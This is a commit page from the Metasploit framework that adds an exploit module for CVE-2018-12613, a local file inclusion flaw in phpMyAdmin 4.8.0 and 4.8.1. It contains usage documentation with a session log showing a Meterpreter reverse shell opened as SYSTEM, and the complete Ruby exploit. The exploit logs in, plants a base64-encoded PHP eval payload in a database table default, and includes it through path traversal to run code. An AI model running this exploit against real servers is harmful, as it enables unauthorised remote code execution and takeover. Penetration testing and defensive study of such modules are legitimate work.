Land #10260, Add phpMyAdmin v4.8.1/4.8.0 LFI RCE
commit
1ded8ffb29
|
@ -0,0 +1,37 @@
|
|||
## Description
|
||||
|
||||
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use exploit/multi/http/phpmyadmin_lfi_rce`
|
||||
3. `set rhosts <rhost>`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
|
||||
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122
|
||||
rhosts => 172.22.222.122
|
||||
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.190:4444
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.122
|
||||
[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: SYSTEM (0)
|
||||
meterpreter > sysinfo
|
||||
Computer :
|
||||
OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,234 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
|
||||
which can be exploited post-authentication to execute PHP code by
|
||||
application. The module has been tested with phpMyAdmin v4.8.1.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'ChaMd5', # Vulnerability discovery and PoC
|
||||
'Henry Huang', # Vulnerability discovery and PoC
|
||||
'Jacob Robles' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '104532' ],
|
||||
[ 'CVE', '2018-12613' ],
|
||||
[ 'CWE', '661' ],
|
||||
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
|
||||
[ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
|
||||
[ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => [ 'php' ],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Windows', {} ],
|
||||
[ 'Linux', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 19 2018'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
|
||||
rescue
|
||||
vprint_error("#{peer} - Unable to connect to server")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
vprint_error("#{peer} - Unable to query /js/messages.php")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# v4.8.0 || 4.8.1 phpMyAdmin
|
||||
if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
|
||||
version = Gem::Version.new($1)
|
||||
vprint_status("#{peer} - phpMyAdmin version: #{version}")
|
||||
|
||||
if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def query(uri, qstring, cookies, token)
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'import.php'),
|
||||
'cookie' => cookies,
|
||||
'vars_post' => Hash[{
|
||||
'sql_query' => qstring,
|
||||
'db' => '',
|
||||
'table' => '',
|
||||
'token' => token
|
||||
}.to_a.shuffle]
|
||||
})
|
||||
end
|
||||
|
||||
def lfi(uri, data_path, cookies, token)
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'cookie' => cookies,
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
||||
end
|
||||
|
||||
uri = target_uri.path
|
||||
vprint_status("#{peer} - Grabbing CSRF token...")
|
||||
|
||||
response = send_request_cgi({'uri' => uri})
|
||||
|
||||
if response.nil?
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
|
||||
elsif response.body !~ /token"\s*value="(.*?)"/
|
||||
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
|
||||
end
|
||||
token = Rex::Text.html_decode($1)
|
||||
|
||||
if target.name =~ /Automatic/
|
||||
/\((?<srv>Win.*)?\)/ =~ response.headers['Server']
|
||||
mytarget = srv.nil? ? 'Linux' : 'Windows'
|
||||
else
|
||||
mytarget = target.name
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Identified #{mytarget} target")
|
||||
|
||||
#Pull out the last two cookies
|
||||
cookies = response.get_cookies
|
||||
cookies = cookies.split[-2..-1].join(' ')
|
||||
|
||||
vprint_status("#{peer} - Retrieved token #{token}")
|
||||
vprint_status("#{peer} - Retrieved cookies #{cookies}")
|
||||
vprint_status("#{peer} - Authenticating...")
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'cookie' => cookies,
|
||||
'vars_post' => {
|
||||
'token' => token,
|
||||
'pma_username' => datastore['USERNAME'],
|
||||
'pma_password' => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
if login.nil? || login.code != 302
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
|
||||
end
|
||||
|
||||
#Ignore the first cookie
|
||||
cookies = login.get_cookies
|
||||
cookies = cookies.split[1..-1].join(' ')
|
||||
vprint_status("#{peer} - Retrieved cookies #{cookies}")
|
||||
|
||||
login_check = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => { 'token' => token },
|
||||
'cookie' => cookies
|
||||
})
|
||||
|
||||
if login_check.nil?
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
|
||||
elsif login_check.body.include? 'Welcome to'
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
||||
elsif login_check.body !~ /token"\s*value="(.*?)"/
|
||||
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
|
||||
end
|
||||
token = Rex::Text.html_decode($1)
|
||||
|
||||
vprint_status("#{peer} - Authentication successful")
|
||||
|
||||
#Generating strings/payload
|
||||
database = rand_text_alpha_lower(5)
|
||||
table = rand_text_alpha_lower(5)
|
||||
column = rand_text_alpha_lower(5)
|
||||
col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"
|
||||
|
||||
|
||||
#Preparing sql queries
|
||||
dbsql = "CREATE DATABASE #{database};"
|
||||
tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
|
||||
dropsql = "DROP DATABASE #{database};"
|
||||
dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'
|
||||
|
||||
#Create database
|
||||
res = query(uri, dbsql, cookies, token)
|
||||
if res.nil? || res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
|
||||
end
|
||||
|
||||
#Create table and column
|
||||
res = query(uri, tablesql, cookies, token)
|
||||
if res.nil? || res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
|
||||
end
|
||||
|
||||
#Find datadir
|
||||
res = query(uri, dirsql, cookies, token)
|
||||
if res.nil? || res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
|
||||
end
|
||||
|
||||
unless res.body =~ /^<td data.*?>(.*)?</
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
|
||||
end
|
||||
|
||||
#Creating include path
|
||||
if mytarget == 'Windows'
|
||||
#Table file location
|
||||
data_path = $1.gsub(/\\/, '/')
|
||||
data_path = data_path.sub(/^.*?\//, '/')
|
||||
data_path << "#{database}/#{table}.frm"
|
||||
else
|
||||
#Session path location
|
||||
/phpMyAdmin=(?<session_name>.*?);/ =~ cookies
|
||||
data_path = "/var/lib/php/sessions/sess_#{session_name}"
|
||||
end
|
||||
|
||||
res = lfi(uri, data_path, cookies, token)
|
||||
|
||||
#Drop database
|
||||
res = query(uri, dropsql, cookies, token)
|
||||
if res.nil? || res.code != 200
|
||||
print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue